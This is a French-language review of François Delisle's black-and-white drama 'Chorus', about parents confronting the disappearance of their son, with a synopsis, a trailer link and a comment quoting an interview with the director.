Critique : Chorus de François Delisle

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Copyright Anouk Lessard

Un très beau film à la réalisation prodigieuse.

Intense, poétique, subtil et bouleversant : voilà qui résume en peu de mots le nouveau long métrage du réalisateur québécois François Delisle, déjà connu pour 2 fois une femme (2010) ou encore Le Météore (2013). Etant son propre producteur, son propre scénariste et son propre caméraman, ce talentueux cinéaste réalise avec Chorus un projet de longue date.

Chorus est avant tout l’histoire d’un deuil : d’abord celui d’un enfant, mais aussi celui d’un amour que la vie a défié et mutilé. Dix ans après la disparition de leur fils, Irène (Fanny Mallette) et Christophe (Sébastien Ricard) se retrouvent pour faire face à l’insurmontable réalité – rythmée de souvenirs, de remords et de souffrance. Le sentiment de perte est au coeur de ce drame intime en noir et blanc, dont les images granuleuses accentuent la tristesse.

Copyright Anouk Lessard
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A l’image de son titre, Chorus est un film polyphonique où de nombreuses voix-off s’entremêlent pour mieux nous porter. La musique et le chant y sont également très présents, sortant furtivement les personnages de leur torpeur pour les réconcilier avec la vie. Aussi l’ensemble est-il cadencé par des petites symphonies lyriques quasi indépendantes – des scènes, des regards ou des mots à la beauté saisissante – qui résonnent comme des pulsations.

Nous sortons évidemment très émus de cette oeuvre profonde – tout aussi impressionnés par sa réalisation impeccable que par l’interprétation stupéfiante des acteurs. Et, bien que Chorus baigne fondamentalement dans une certaine noirceur, il ne finit pas par s’y noyer : il dépeint au contraire le cheminement existentiel de deux êtres contraints de revenir sur les lieux de la dévastation pour mieux cicatriser leurs blessures communes – et apprendre à revivre ensuite.

Copyright Anouk Lessard
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Synopsis :
Avertissement : des scènes, des propos ou des images peuvent heurter la sensibilité des spectateurs
Le jour où leur fils a disparu, un après-midi après l’école, la vie d’Irène et Christophe s’est brisée. Chacun de son côté a survécu à sa façon, lui au Mexique, elle en reprenant sa carrière au sein d’une chorale. Dix ans après, un appel de la police les amène à se retrouver…

Bande-annonce :

https://www.youtube.com/watch?v=dKawW-pnjUQ

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1 COMMENT

  1. […] Chorus de François Delisle sort en salles le 20 janvier 2016. A cette occasion, le réalisateur canadien a accepté de répondre à nos questions concernant ce prodigieux drame intime en noir et blanc.   Vos films traitent de sujets extrêmes : violence conjugale, enlèvement d’enfant… Comment expliquez-vous ce penchant pour les situations tragiques au cinéma ? Ces situations extrêmes me permettent, peut-être, d’aborder des choses plus intimes et nuancées que je n’aborderais pas autrement. En l’occurrence, pour Chorus, derrière le drame, il y la réunion d’un couple brisé et l’amour qui refait surface comme un baume. […]

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